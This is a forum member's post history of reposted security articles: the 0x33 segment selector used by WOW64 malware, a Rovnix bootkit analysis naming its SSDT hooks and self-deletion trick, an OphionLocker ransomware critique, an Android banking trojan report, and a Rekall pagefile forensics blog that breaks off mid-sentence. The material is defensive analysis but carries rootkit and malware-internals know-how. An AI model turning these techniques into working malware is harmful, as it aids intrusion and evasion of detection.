Jump to content

Aerosol

Active Members
  • Posts

    3453
  • Joined

  • Last visited

  • Days Won

    22

Everything posted by Aerosol

  1. Since I posted the article about malware using the 0x33 segment selector to execute 64-bit code in an 32-bit (WOW64) Process, a few people have asked me how the segment selector actually works deep down (a lot of people think it's software based). For those who haven't read the previous article, I suggest you read it fist: Rise of the dual architecture usermode rootkit | MalwareTech Global Descriptor Table The global descriptor table (GDT) is a structure used by x86 and x86_64 CPUs, the structure resides in memory, consists of multiple 8-byte descriptors, and is pointed to by the GDT register. Although GDT entries can be segment descriptors, call gates, task state segments, or LDT descriptors; we will focus only on segment descriptors as they are relevant to this article. A segment descriptor uses a ridiculous layout for backwards compatibility reasons. There is a 4 byte segment base address which is stored at bytes 3,4,5 and 8; The segment limit is 2 and a half bytes and stored at bytes 1, 2 and half of 7; The descriptor flags are the other half of the 7th byte, and the Access flags are byte 6. That's probably pretty confusing, so I've made an example image. The only part of the segment descriptor that is relevant for this article is the "Flags" part, which is a total of 4 bits: Granularity (if 0, the segment limit is in 1 Byte blocks; if 1, the segment limit is in 4 Kilobyte blocks). D/B bit (If 0, the segment is 16-bit; if 1, the segment is 32-bit). L Bit (If 0, the D/B bit is used; if 1, the segment is 64-bit and D/B bit must be 0). Doesn't appear to be used. Segmentation Basics In real mode registers are 16-bit, which means that the CPU should only be able to address 216 (64 KB) of memory, that's not the case. The CPU has a special 20-bit register it uses for addresses which allows it to address 220 (1 MB), but how is that achieved? The CPU has a segment register which are also 16-bit, the segment register is multiplied by 16 (shifted left 4 bit) then added to the address in order to give a 20 bit address and allowing the whole 1 MB of memory to be accessed. Protected mode segmentation is significantly different, the segment register is not actually a segment at all, it's a selector which is split up into 3 parts: Selector, TL (Descriptor Table), and RPL (Request Privilege Level): Segment Selector (13 bits) specifies which GDT/LDT descriptor to use, 0 for 1st, 1 for 2nd, etc. TL (1 bit) specifies which descriptor table should be used (0 for GDT, 1 for LDT). RPL (2 bits) specifies which CPU protection ring is currently being used (ring 1, 2, or 3). This is how the CPU keeps track of which privilege level the current operation is executing at. Piecing Together When you switch into 64-bit mode by doing a "CALL 0x33:Address" or "JMP 0x33:Address", you're not actually changing the code segment to 0x33, you're only changing the segment selector. The segment selector for 32-bit code is 0x23, so by changing the selector to 0x33, you're not modifying the TL or RPL, only changing the selector part from 4 to 6 (If you're wondering how the selectors are 4 and 6 not 0x23 and 0x33, it's because the low 3 bits are for the TL and RPL so 0x23 (00100011) is actually RPL = 3, TL = 0, Selector = 4 and 0x33 (00110011) is actually RPL = 3, TL = 0, Selector = 6). So, changing the code segment register doesn't necessarily mean you're changing segment like it would in real mode, it totally depends on what the selector's corresponding descriptor says. As we know 0000000000100 is binary for 4 and 0000000000110 is binary for 6, so we need to pull GDT entries 4 and 6. Here we can see the only difference between the entry for the 32-bit and 64-bit selector is the "Limit" and "Flags" field. The limit is easily explained: it's 0 for the 64-bit entry because there is no limit, and the 32-bit limit is 0xFFFFF because the granularity bit is set, making the limit (0xFFFFF * 4KB) AKA 4GB (the maximum addressable space using 32-bit registers). To understand the difference in the Flag's field, we'll have to view the individual bits. Here we can see the Granularity and D/B bits are set for entry 4, but for entry 6 they're not. Entry 6 also has the L bit set, why? The L bit means the CPU should be in 64-bit mode when this segment descriptor is being used, thus the D/B bit must be 0 as it is not in 16-bit or 32-bit mode. The granularity bit is 0 because the descriptor has no limit set as we showed earlier, so the limit granularity is irrelevant. So there you have it, both segment descriptors point to exactly the same address, the only difference is then when the 0x33 (64-bit) selector is set, the CPU will execute code in 64-bit mode. The selector is not magic and doesn't tell windows how to interpret the code, it's actually makes use of a CPU feature that allows the CPU to easily be switched between x86 and x64 mode using the GDT. If you're interested in how to dump GDT entries, you need to setup a a virtual machine and remotely debug it with windbg (you cant use local kernel debugger). Once you're connected remotely you can do "DG 0x23" to dump entry for segment selector 0x23 and it will output it in pretty text. If you want to get the raw bytes for the entry, you'll need to do "r gdtr" to get the address of the GDT from the GDT register, then you'll need to do "dq (GDT_Address+(0x8 * SELECTOR) L1" example: "dq (fffff80000b95000+(0x08*4)) L1". Source
  2. Rovnix is an advanced VBR (Volume Boot Record) rootkit best known for being the bootkit component of Carberp. The kit operates in kernel mode, uses a custom TCP/IP stack to bypass firewalls, and stores components on a virtual filesystem outside of the partition. Yesterday Microsoft posted an update explaining a new "evolution" to rovnix that had been found. "evolution" The so-called Evolution I'm Melting The first thing i noticed was the file "melts" (delete's itself once run (well, tries to)), this is done by a lot of malware to prevent future forensics, but how this sample does it is a little less than elegant. The bot drops a non-hidden batch file to the location it's run from (in my case the desktop), the batch file just uses the "DEL" command on an infinite loop, which uses all of the CPU, until the file is deleted. On my test system, the batch file actually fails because the executable locks the file, meaning it can only be deleted once the executable stops (the system reboots), when the system reboots windows stops the batch file before the executable, thus it's never deleted. Initial Infection After executing the packed binary it unpacks itself and continues running, the above batch file is deployed to delete the dropper after run. For stealth reasons, the kit sits idle for an undefined amount of time (I'm yet to find out how this is done), then the system is automatically rebooted. NtShutdownSystem is hooked to receive notifications of shutdowns / reboots, so rebooting the computer will result in intimidate infection and save you a wait. Amusingly the packed dropper doesn't exit until reboot and the delay is long enough to attach a debugger, dump the unpacked code from memory, then move it to another computer. The entire kit is packed inside the dropper, about 13 files total (32-bit and 64-bit) and during the reboot delay everything exists in one continuous block of memory and once dumped; the components can be split up by byte signature "0x4D 0x5A 0x90" (DOS header). No VBR The first thing i noticed after infection is that the first 16 sectors of the disk are blank (where the VBR should be located). To anyone familiar with rovnix this is a common sign of infection, as it uses the kernel driver to hide infected sectors (which is probably just as suspicious as showing them). Stability The kit appears to run ok on Windows XP 32-bit, but on Windows 7 64-bit it causes the PC to BSOD about every 20 minutes (Sometimes the system can even get stuck in an infinite BSOD loop). Anti Reversing I can't tell if I'm going crazy or the anti reversing protection is what I think it is. The driver appears to check for a wide variety of reversing tools (vbox, vmaware, wireshark, ollydbg, ida, lordpe, etc), then disregards the results and exits the thread. My tests appear to confirm this as I've infected a VM with multiple blacklisted tools running and the malware still continues the infection. I've checked through the ASM multiple time, but can't seem to find anything that would result in the bot being any wiser about the environment after the execution of this thread. Virtual File System Remember the old rovnix filesystem? It used raw disk access to store components outside of the filesystem in non-allocated disk space, making it near impossible for the AV to find or remove? Well that has been "upgraded". The virtual filesystem is now stored inside a file in "C:\system32\", free for the AV to delete at any point (Coder couldn't figure how to access virtual filesystem from usermode?). The file-name ends in ".bin" and is a 64-bit hex value generated using the time stamp counter ("rdtsc" instruction), all files are encrypted with RC6. Because the file system is now vulnerable due to it being saved as a standard windows file, the coders have added a high level (and fairly useless) kernel mode rootkit to the driver. The rootkit places SSDT hooks on the following functions: NtQueryDirectoryFile - Hides the file. NtCreateFile - Prevents file from being opened by all except bot. NtOpenFile - Same as above. NtClose - No idea. NtSetInformationFile - Prevents rename / delete. NtDeleteFile - Prevents delete. NtQueryInformationFile - Hides the file. Additionally the rootkit also hooks some registry functions to hide keys, I can't see any sane reason why. Usermode Component This entire bootkit + kernel mode rootkit all serves to protect a small trojan which appears to run as a service and do nothing other than log keys and ammyy id's to a command and control server. The MD5 has is: 5e5f3ced234c6f7c91457a875cf4a570. Conclusion This isn't the work of common scriptkiddies, it's likely the coder has a moderate knowledge of kernel mode programming; however, the code is not experience with malware (using SSDT hooks and filters in a bootkit, having to move the virtual filesystem into a real file to access it from usermode, using batch file to delete melt exe). This clearly isn't an "evolution" of rovnix as Microsoft claim, it's just some random coders trying to make the bootkit compatible with their bot. Thanks to Poopsmith for bringing the sample to my attention and Xylitol for retrieving it for me. http://i.imgur.com/tX0qwir.gif' alt='tX0qwir.gif'> Source
  3. OphionLocker is supposedly the new ransomware on the block and is already being compared with sophisticated operations such as CryptoLocker and CryptoWall, so i decided to take a look and what I found is nothing short of hilarious. That's right, the ransomware is actually a console application, Instead of writing the Win32 application. The developer has opted to use a console application, which implies he is either writing command line tools (he's not), or that he has absolutely no damn idea what he's doing. If there is even any shadow of doubt that this was written by a competent C++ developer, this should set the record straight: H:\\ConsoleApplication1\\Release\\ConsoleApplication1.pdb That's the PDB path of this application: "ConsoleApplicationX" is the name chosen by Visual Studio when automatically creating a new C++ console project, ConsoleApplication1 implies that this is the first Visual Studio project created; either the developer has just moved from another development environment, or more likely he's never coded C++ before. This is a hack to make the console window invisible, as a result the console window will open and then disappear a second later when running the application. If you're new to programming, writing your own cryptographic library is obviously quite a challenge, as you can see he's opted to just use the Crypto++. "But MalwareTech, even using a public cryptographic library, he'd need to know how to implement it." Well if we look through the strings in the application, we find the following string: "ecies.private.key", which is the name of the file that the application uses to store the private key; this is consistent with the example ECIES (Elliptic Curve Integrated Encryption Scheme) code on the Crypto++ wiki. The C&C communicated mechanism is much of the same story, although it could have been implemented with a few lines of code using the WinInet library, the developer has opted to use the insanely bulky HTTP Client library WinHTTPClient, which uses the WinHTTP api (should only be used for service and not client applications). Obviously, no application is complete without some error handling, so here's what happens if the locker fails to connect to the C&C. Error handling is love, error handling is life. GUI programming tends to be quite tricky, but it's nothing you cant achieve with a message box and 300 text files that all say the same thing. This is why we can't have nice things. Conclusion Q: Can you code functional ransomware with absolutely no programming experience whatsoever? A: Yes. OphionLocker MD5: e17da8702b71dfb0ee94dbc9e22eed8d SHA1: eb78b7079fabecbec01a23c006227246e78126ab SHA256: c1a0173d2300cae92c06b1a8cb344cabe99cf4db56fa9dca93629101c59ce68f Source
  4. This framework is dedicated to avoiding shellcoding in your project (focused on PoC for vulnerability response), and offers following features : Imports resolved by dynamic loader (no import table) No need to avoid position dependent code (fixup table resolving) C++ supports, and std & boost as well Allows compile kernel code with user mode code for kernel code applies same features as for user mode code dev You can find more info here: KeenTeam - Blog The framework is on github too: https://github.com/k33nteam/cc-shellcoding Source
  5. "The Interview", the controversial North Korean-baiting film which appeared to be the root cause of the cyber mishap occurred at Sony Pictures Entertainment that threatened terror attack at theaters showing the movie, now threatens to expose users of Android phones to a malware attack. Since its release, everyone is talking about "The Interview" — the Seth Rogen and James Franco-starring comedy centered around a TV host and his producer assassinating North Korean dictator Kim Jong Un. Because cybercriminals are known to take advantage of major events where there is a high level of public interest, The Interview became their target. In a joint investigation, Security researchers of McAfee and Technische Universität Darmstadt and the Center for Advanced Security Research Darmstadt (CASED) has discovered an Android app claiming to download 'The Interview' comedy on their smartphone devices actually infects users’ devices with banking trojan in order to steal their financial information. The Banking Trojan is appeared to be hosted on Amazon Web Services and is delivered via a torrent file. Researchers have identified that the malware campaign is targeting Android users in South Korea and is active from the last few days. The campaign is attempting to exploit the popularity of The Interview movie that triggered tension over its release on Christmas. The malware trojan, detected by the researchers at McAfee as Android/Badaccents, targets customers of some Korean banks as well as an international bank, Citi Bank. According to researchers, the Trojan is selective about its victims and avoids infection of devices sold in North Korea. The researchers' findings cited by Cluley revealed that at least 20,000 devices have been infected and that the information exfiltrated from the devices is uploaded to a Chinese mail server. Security researchers at McAfee has notified Amazon Web Security about the malware hosting issue so that the Amazon-hosted files can be removed and prevent further infections. However, other online storage services could be used by cybercriminals for carrying out the campaign. Usually cybercriminals use third party Android app to distribute trojan malware in order to infect smartphone users, but this is the first time when cyber crooks have chosen torrent websites to deliver the Trojan, probably because "The Interview" is already at the top of search results in Korea and most of the countries. Source
  6. https://rstforums.com/forum/93879-free-bitdefender-mobile-security-antivirus.rst cauta inainte sa postezi degeaba!
  7. Windows Virtual Address Translation and the Pagefile. Table of Contents 1. Acquiring the pagefile. 2. Adding the pagefile to Rekall. 3. Virtual Page Translation in windows. 3.1. Hardware PTE states 3.2. Software PTE states 3.3. PTE Resolution Algorithm 4. Experiment 5. Analysis 6. Conclusions I was recently at the SANS DFIR Summit and got to speak with many practitioners using memory analysis tools such as Rekall or Volatility. One of the comments I found interesting is that people asked why do we not use the pagefile for windows investigations? Apparently many people have found that critical information was not recoverable by Rekall or Volatility because the pages were not resident (according to the tool). I decided to add pagefile support to Rekall, and as a result of my research into how paging works in Windows, I have discovered many interesting facts about the way windows performs virtual address translation. This blog post discusses what I found and how this analysis is implemented in Rekall. The below reflects my current understanding of how things work, but since the exact behavior is not documented by Microsoft, there may be inaccuracies. If you spot an error, please let me know so we can take new information into account. 1. Acquiring the pagefile. The first step to analyzing the pagefile is to actually acquire it. When the operating system is running, the pagefile is locked for exclusive use of the operating system. This means that it is generally not possible to open and read the file directly (Future versions of WinPmem should have support for automatically exposing the pagefile from kernel space.). The traditional way to copy the pagefile out is via the TSK toolset, using for example a command such as: C:\> fcat.exe pagefile.sys \\.\c: > pagefile.dd This opens the raw device corresponding to the C drive, and extracts the file pagefile.sys by parsing the NTFS filesystem directly - thereby bypassing the Windows file locking. I integrated a statically compiled version of fls.exe in Winpmem and updated the tool to allow for the acquisition of the pagefile in addition to the standard ELF format memory image. C:\projects\rekall\tools\windows\winpmem>winpmem_1.6.2.exe -p -e swapped.elf Will write an elf core dump. Extracting driver to C:\Users\mic\AppData\Local\Temp\pme6EBA.tmp Driver Unloaded. Loaded Driver C:\Users\mic\AppData\Local\Temp\pme6EBA.tmp. Deleting C:\Users\mic\AppData\Local\Temp\pme6EBA.tmp Will write an elf coredump. CR3: 0x0000187000 2 memory ranges: Start 0x00001000 - Length 0x0009E000 Start 0x00100000 - Length 0x3FEF0000 Acquitision mode PTE Remapping 00% 0x00001000 . 00% 0x00100000 .................................................. 04% 0x03300000 .................................................. [.. snip ..] 97% 0x3E900000 ....................... Extracting fcat to C:\Users\mic\AppData\Local\Temp\flsA0A4.tmp Launching C:\Users\mic\AppData\Local\Temp\flsA0A4.tmp pagefile.sys \\.\C: Preparing to read pagefile. 0Mb .................................................. 50Mb .................................................. [.. snip ..] 1050Mb .................... Driver Unloaded. The pagefile is appended to the ELF file (so it does not appear in any program headers) and a short YAML footer is appended. This allows us to write the image to a non seekable pipe (e.g. so it can be sent over netcat or encrypted) while still appending data to it. When Rekall reads the image it follows the PreviousHeader pointer in each YAML footer to traverse all the footers. 82DF2170 12 12 01 01 00 0A E0 26 01 45 71 0E 0A 0E 7C 07 .......&.Eq...|. 82DF2180 44 0E 21 07 44 0E 02 0E 0A 0E 70 0E 7C 0E 99 0E D.!.D.....p.|... 82DF2190 32 0E 70 0E 32 0E 99 0E 32 0E 02 0E 48 0E 32 0E 2.p.2...2...H.2. 82DF21A0 A9 0E 21 0E 1A 01 01 12 12 02 12 02 12 12 12 12 ..!............. 82DF21B0 12 12 12 12 12 12 12 12 12 12 12 12 01 23 20 50 .............# P 82DF21C0 4D 45 4D 0A 2D 2D 2D 0A 50 72 65 76 69 6F 75 73 MEM.---.Previous 82DF21D0 48 65 61 64 65 72 3A 20 30 78 33 66 66 38 65 30 Header: 0x3ff8e0 82DF21E0 65 38 0A 50 61 67 65 66 69 6C 65 4F 66 66 73 65 e8.PagefileOffse 82DF21F0 74 3A 20 30 78 33 66 66 38 65 31 62 64 0A 50 61 t: 0x3ff8e1bd.Pa 82DF2200 67 65 66 69 6C 65 53 69 7A 65 3A 20 30 78 34 32 gefileSize: 0x42 82DF2210 65 36 34 30 30 30 0A 2E 2E 2E 0A e64000..... --- swapped.elf --0x82DF221B/0x82DF221B--------------------------------- Rekall can automatically identify the pagefile embedded in this file and add it to the analysis. It is possible to simply extract the pagefile from the Winpmem image by using dd (for example in order to use it in another framework): $ dd if=swapped.elf of=pagefile.dd bs=1 skip=$((0x3ff8e1bd)) 2. Adding the pagefile to Rekall. So now that Winpmem can acquire the pagefile we can add the pagefile into Rekall. But the main problem is how? Rekall uses a "Paging Address Space" (for example the AMD64PagedMemory address space) to translate virtual addresses to physical addresses. The process is illustrated in the figure below. The Virtual Address Space is stacked over the physical address space (i.e. the image) such that a read() operation issued to the Virtual Address Space is translated into a specific offset from the image. Unfortunately the existing code makes frequent use of the physical address. For example, the scanning infrastructure optimizes physical address space read operations, scanning plugins typically scan the physical address space for pool signatures etc. It would be a major refractoring exercise to modify plugins to also support the pagefile. There has to be an easier way! The solution we came up with in Rekall is to map the pagefile into the physical address space too. After all, the pagefile is simply an extension of the physical memory; When physical memory is exhausted, the operating system simply moves the page into the pagefile. Similarly we can reference its new location in the same physical address space. This scheme is illustrated in the figure below. The previous Rekall implementation uses the AMD64PagedMemory address space for all operating systems, but obviously we need to treat the windows page file differently from other operating systems when we support windows specific pagefiles. In fact there is a subtle bug in previous Rekall versions (and Volatility), which use this code to determine if a PTE is valid: def entry_present(self, entry): ''' Returns whether or not the 'P' (Present) flag is on in the given entry ''' if entry: if entry & 1: return True # The page is in transition and not a prototype. # Thus, we will treat it as present. if (entry & (1 << 11)) and not entry & (1 << 10): return True return False Transition. Pages in the Transition state are waiting to be written to the pagefile but still contain valid data. It’s just that as far as the hardware is concerned they are not valid (so CPU access to these pages will generate a pagefault). Windows uses the special Transition and Prototype flags (bits 10 and 11) to indicate the page is in transition. Volatility can simply treat the page as valid anyway (since it still contains valid data). This was a good idea at the time and gave us access to more valid pages on windows images. But this code is strictly incorrect! The AMD64PagedMemory address space is used for all operating systems and other operating systems do not use bits 10 and 11 in this way. Hence it is likely that this would produce subtly corrupted data on Linux and OSX! Clearly we need to have a specialized address space for the different operating systems. Hence in Rekall we introduce the WindowsAMD64PagedMemory which is only active for windows profiles. This address space actually changes the way that virtual page translation is done almost completely to emulate the Windows kernel as accurately as possible. Linux and OSX should get their own address spaces in future (e.g. to handle compressed memory). 3. Virtual Page Translation in windows. In this section we try to summarize how virtual page translation works on Windows. The seminal work on this subject was actually published back in 2007 by Jesse Kornblum (Kornblum, Jesse D. "Using every part of the buffalo in Windows memory analysis." Digital Investigation 4.1 (2007): 24-29). This was a short but extremely important paper on the subject. (I am frankly a little embarrassed that we did not implement the published algorithms until 2014 - almost 7 years late!). Unfortunately things have changed or there are some inaccuracies in the original work. We therefore need to re-examine paging on windows currently and verify the algorithms published. In the below I will try to summarize the important points and point out how these are implemented in Rekall. In order to understand how paging works on windows, I wrote a sample test program, which set up some known memory regions marked with a known pattern (The source code can be seen below). I then acquired the memory images (including pagefile) and attempted to reproduce the known state of the program. When the CPU addresses memory while running in protected mode, the Memory Management Unit (MMU) is the hardware component which is responsible for fetching the content from the physical memory. The MMU uses the Control Register 3 (CR3) to refer to Page Tables which specify a translation between the virtual address and physical memory. Since this translation happens in hardware it is very fast, and more importantly it is operating system independent. The operating system simply sets up the page tables in advance and then loads their address into the CR3 register and the hardware immediately translates the virtual memory according to this (This is how process context switching works, the OS simply switches CR3 from one process’s memory layout to the other and each process has a different virtual memory layout). The page tables are multi-level (e.g. on 64 bit architectures they have 4 levels) but essentially contain Page Table Entries (PTE). I wont go into the specific of how the hardware follows the page tables themselves because that is covered in many references, including Intel® 64 and IA-32 Architectures Software Developer Manuals. My discussion below focuses on 64 bit architectures, but 32 bit architectures are analogous. The PTE is a 64 bit integer which is split into various bitfields and flags. The PTE can be in a number of states, marked by various flags. These states determine how to interpret the PTE. On Windows, there are kernel structs which can be used in each state, making it easier to interpret the PTE. Below we illustrate the states using the relevant kernel structs and Rekall. There are two types of PTEs, which I will call Hardware PTE s and Software PTE s. The Hardware PTEs are ones that can be seen in response to a page fault - i.e. the hardware sees the PTE, as it traverses the page tables from the Page Directory Entry (PDE). Hardware PTEs are typically allocated in low physical memory addresses and form part of the page tables of the operating system. Software PTEs are allocated out of pool space. Typically these PTEs are used to manage large memory mappings. For example, when a VAD region is added, the system allocates an array of continuous PTEs which will be used to control the mapping. Software PTEs are usually the target of Prototype PTEs. Although similar, Software PTE and Hardware PTE do not share exactly the same states. Therefore I will list all the states that each type of PTE can have under different headers. 3.1. Hardware PTE states Recall that a Hardware PTE is linked directly from the Page Directory Entry (PDE). The following are the valid PTE states for it. 3.1.1. Valid State The Valid state is signified by the Valid flag being set. In this case the hardware is responsible for interpreting the PTE according to the layout of _PTE_HARDWARE. Note that since the hardware must interpret the PTE - all operating systems must use the exact same layout. [_MMPTE_HARDWARE _MMPTE_HARDWARE] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 Accessed [BitField(5-6):Accessed]: 0X000000 0x0 CacheDisable [BitField(4-5):CacheDisable]: 0X000000 0x0 CopyOnWrite [BitField(9-10):CopyOnWrite]: 0X000000 0x0 Dirty [BitField(6-7):Dirty]: 0X000000 0x0 Dirty1 [BitField(1-2):Dirty1]: 0X000000 0x0 Global [BitField(8-9):Global]: 0X000000 0x0 LargePage [BitField(7-8):LargePage]: 0X000000 0x0 NoExecute [BitField(63-64):NoExecute]: 0X000000 0x0 Owner [BitField(2-3):Owner]: 0X000000 0x0 PageFrameNumber [BitField(12-48):PageFrameNumber]: 0X000000 0x0 SoftwareWsIndex [BitField(52-63):SoftwareWsIndex]: 0X000000 0x0 Unused [BitField(10-11):Unused]: 0X000000 = 1 -> 0x0 Valid [BitField(0-1):Valid]: 0X000000 0x0 Write [BitField(11-12):Write]: 0X000000 0x0 WriteThrough [BitField(3-4):WriteThrough]: 0X000000 0x0 reserved1 [BitField(48-52):reserved1]: 0X000000 If the Valid flag is not set, the hardware does not care about any of the other flags, it will simply generate a pagefault into the operating system’s pagefault handler and pass the PTE to it. This means that for all the other states of the PTE, the OS is free to interpret the PTE as it wishes, i.e. we must have operating system specific code to handle invalid PTEs. 3.1.2. Transition State Windows has a ‘Working Set Trimmer` - a component which removes pages from processes’ working set (The Working Set is better known as the Resident Set in POSIX, but is essentially the set of all pages that can be accessed by the process without faulting.). The trimmer tries to remove pages into the pagefile to increase the total number of available physical pages in the system. However, rather than immediately writing the pages to the pagefile, the page is first put into the transition state. This allows the page to be written into the pagefile later, while still containing valid data in memory, in case the process needs that page later (it can quickly be faulted back into the working set). So a page in transition contains valid data, but when a process accesses it, the hardware will pagefault into the OS handler which will simply mark the page as valid. Pages are in the Transition state if the Transition flag is on, and the Prototype flag is off: [_MMPTE_TRANSITION _MMPTE_TRANSITION] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 CacheDisable [BitField(4-5):CacheDisable]: 0X000000 0x0 Owner [BitField(2-3):Owner]: 0X000000 0x0 PageFrameNumber [BitField(12-48):PageFrameNumber]: 0X000000 0x0 Protection [BitField(5-10):Protection]: 0X000000 = 0 -> 0x0 Prototype [BitField(10-11):Prototype]: 0X000000 = 1 -> 0x0 Transition [BitField(11-12):Transition]: 0X000000 0x0 Unused [BitField(48-64):Unused]: 0X000000 = 0 -> 0x0 Valid [BitField(0-1):Valid]: 0X000000 0x0 Write [BitField(1-2):Write]: 0X000000 0x0 WriteThrough [BitField(3-4):WriteThrough]: 0X000000 Rekall can make immediate use of pages in Transition since their data is still valid. 3.1.3. Prototype State The same physical pages may be shared between many different processes. This is easy to do since you can just have multiple PTEs referring to the same physical page. The problem for the OS is how to co-ordinate trimming of shared pages. Since there are many references to the same physical page, if the OS needs to e.g. relocate the physical page into the pagefile, it will need to search and update all these references. Since this is very inefficient, the Windows solution is to use a kind of "symlink" PTE to direct shared pages to another PTE - called a Prototype PTE. Thus we only need to update the Prototype PTE and all PTEs that refer to the shared memory will become automatically updated. So the best way to think of a Prototype PTE is that it is a symlink to something else. Here is the windows struct for the Prototype PTE: [_MMPTE_PROTOTYPE _MMPTE_PROTOTYPE] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 Protection [BitField(11-16):Protection]: 0X000000 0x0 ProtoAddress [BitField(16-64):ProtoAddress]: 0X000000 = 1 -> 0x0 Prototype [BitField(10-11):Prototype]: 0X000000 0x0 ReadOnly [BitField(8-9):ReadOnly]: 0X000000 0x0 Unused0 [BitField(1-8):Unused0]: 0X000000 0x0 Unused1 [BitField(9-10):Unused1]: 0X000000 = 0 -> 0x0 Valid [BitField(0-1):Valid]: 0X000000 The ProtoAddress field contains the address to the prototype PTE (which is allocated from system pool). The target of the Prototype PTE is what I refer to as a Software PTE, and can only take on the states appropriate for the Software PTE (see below). 3.1.4. VAD Prototype PTE If the Hardware PTE looks like a Prototype PTE (i.e. has Valid=0, Prototype=1), and the ProtoAddress is equal to the special value 0xFFFFFFFF0000 this marks a VAD Prototype. In this case we must find the VAD region which corresponds with the virtual address in question. The MMVAD struct then contains a range of PTEs which corresponds with the entire VAD range. We then calculate the relative offset of the original virtual address into the VAD region to find its corresponding PTE. For example say we try to resolve address 0x10000: Traversing the page tables we identify a VAD Prototype PTE (i.e. ProtoAddress = 0xFFFFFFFF0000). We search the process VADs for the region of interest. Say we find a region from 0x8000 to 0x20000. The _MMVAD object for this region has a FirstPrototypePte member (say it points to 0xFFFF1000000). The PTE we want is therefore located at (0x10000 - 0x8000) / 0x1000 + 0xFFFF1000000 We resolve the physical address from that PTE. 3.1.5. Vad Hardware PTE If the PTE is completely 0, this means that the VAD should be consulted. This condition seems to also be the case for when the PDE pointing to the PTE is invalid (I.e. the entire page table is not valid). In this case we need to examine the VAD in an identical way to the VAD Prototype PTE above. This state seems to be identical to the one above. 3.1.6. Software State If both the Prototype and Transition flags are unset, the PTE refers to a Software PTE: [_MMPTE_SOFTWARE _MMPTE_SOFTWARE] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 InStore [BitField(22-23):InStore]: 0X000000 0x0 PageFileHigh [BitField(32-64):PageFileHigh]: 0X000000 0x0 PageFileLow [BitField(1-5):PageFileLow]: 0X000000 0x0 Protection [BitField(5-10):Protection]: 0X000000 = 0 -> 0x0 Prototype [BitField(10-11):Prototype]: 0X000000 0x0 Reserved [BitField(23-32):Reserved]: 0X000000 = 0 -> 0x0 Transition [BitField(11-12):Transition]: 0X000000 0x0 UsedPageTableEntries [BitField(12-22):UsedPageTableEntries]: 0X000000 = 0 -> 0x0 Valid [BitField(0-1):Valid]: 0X000000 The Software PTE refers to a paged out page. The PageFileHigh member is the frame number in the page file (i.e. it must be multiplies by 0x1000 to get the file offset). The PageFileLow member is the number of pagefile (Windows supports up to 16 pagefiles). Windows actually keeps data structures of the available pagefiles, their location and stats. I wrote the pagefiles plugin to show this information: [1] Default session 12:25:54> pagefiles _MMPAGING_FILE Number Size ( Filename -------------- ------ ---------- -------------------- 0xfa8001cae010 0 1207721984 \??\C:\pagefile.sys [1] Default session 12:25:57> print session.profile._MMPAGING_FILE(0xfa8001cae010) [_MMPAGING_FILE _MMPAGING_FILE] @ 0xFA8001CAE010 0x00 Size [unsigned long long:Size]: 0x00047FC6 0x08 MaximumSize [unsigned long long:MaximumSize]: 0x0005DC00 0x10 MinimumSize [unsigned long long:MinimumSize]: 0x0003E800 0x18 FreeSpace [unsigned long long:FreeSpace]: 0x0000EF68 0x20 PeakUsage [unsigned long long:PeakUsage]: 0x00043DF3 0x28 HighestPage [unsigned long long:HighestPage]: 0x00000000 0x30 File <_FILE_OBJECT Pointer to [0xFA8001D15070] (File)> 0x38 Entry <Array 2 x Pointer @ 0xFA8001CAE048> 0x48 PageFileName [_UNICODE_STRING PageFileName] @ 0xFA8001CAE058 (\??\C:\pagefile.sys) 0x58 Bitmap <_RTL_BITMAP Pointer to [0xFA8001D40000] (Bitmap)> 0x60 EvictStoreBitmap <_RTL_BITMAP Pointer to [0x00000000] (EvictStoreBitmap)> 0x68 BitmapHint [unsigned long:BitmapHint]: 0x0001220C 0x6C LastAllocationSize [unsigned long:LastAllocationSize]: 0x00000012 0x70 ToBeEvictedCount [unsigned long:ToBeEvictedCount]: 0x00000000 0x74 BootPartition [BitField(4-5):BootPartition]: 0x00000001 0x74 PageFileNumber [BitField(0-4):PageFileNumber]: 0x00000000 0x74 Spare0 [BitField(5-16):Spare0]: 0x00000000 0x76 AdriftMdls [BitField(0-1):AdriftMdls]: 0x00000000 0x76 Spare1 [BitField(1-16):Spare1]: 0x00000000 0x78 FileHandle <Void Pointer to [0xFFFF80000204] (FileHandle)> 0x80 Lock [unsigned long long:Lock]: 0x00000000 0x88 LockOwner <_ETHREAD Pointer to [0xFA8002D93061] (LockOwner)> You can see the size of the pagefile, and also the allocation bitmap (which pages in the pagefile are currently used.). Note that the PageFileNumber associates the PageFileLow member of the_MMPTE_SOFTWARE struct with the pagefile path. If we have the pagefile available, we can resolve the PTE immediately and read the data from the pagefile. 3.2. Software PTE states For some of the states above, when the Hardware PTE is resolved, it might result in referring to a Software PTE (e.g. in Vad PTEs or Prototype PTEs). Decoding the Software PTE requires the following states. 3.2.1. Valid Same as Hardware PTEs. Can be resolved immediately. 3.2.2. Transition Same as Hardware PTEs. Can be resolved immediately. 3.2.3. Subsection Prototype PTE If the PTE has the Prototype bit set, and Valid bit unset (P=1, V=0) it is a Subsection PTE. A Subsection PTE refers to an instance of a _SUBSECTION object and is used to denote a File Mapping: [_MMPTE_SUBSECTION _MMPTE_SUBSECTION] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 Protection [BitField(5-10):Protection]: 0X000000 0x0 Prototype [BitField(10-11):Prototype]: 0X000000 0x0 SubsectionAddress [BitField(16-64):SubsectionAddress]: 0X000000 0x0 Unused0 [BitField(1-5):Unused0]: 0X000000 0x0 Unused1 [BitField(11-16):Unused1]: 0X000000 0x0 Valid [BitField(0-1):Valid]: 0X000000 [_SUBSECTION _SUBSECTION] @ 0x000000 Offset Field Content -------------- ------------------------------ ------- 0x0 ControlArea <_CONTROL_AREA Pointer to [0x00000000]> 0x8 SubsectionBase <_MMPTE Pointer to [0x00000000]> 0x10 NextSubsection <_SUBSECTION Pointer to [0x00000000]> 0x18 PtesInSubsection [unsigned long:PtesInSubsection]: 0x00000000 0x20 GlobalPerSessionHead <_MM_AVL_TABLE Pointer to [0x00000000]> 0x20 UnusedPtes [unsigned long:UnusedPtes]: 0x00000000 0x28 u [<unnamed-7983> u] @ 0x00000028 0x2c StartingSector [unsigned long:StartingSector]: 0x00000000 0x30 NumberOfFullSectors [unsigned long:NumberOfFullSectors]: 0x00000000 Subsection PTEs are used to refer to memory mappings of a file on disk. When a file is mapped into memory (e.g. an executable file or DLL), the file may be shared by many 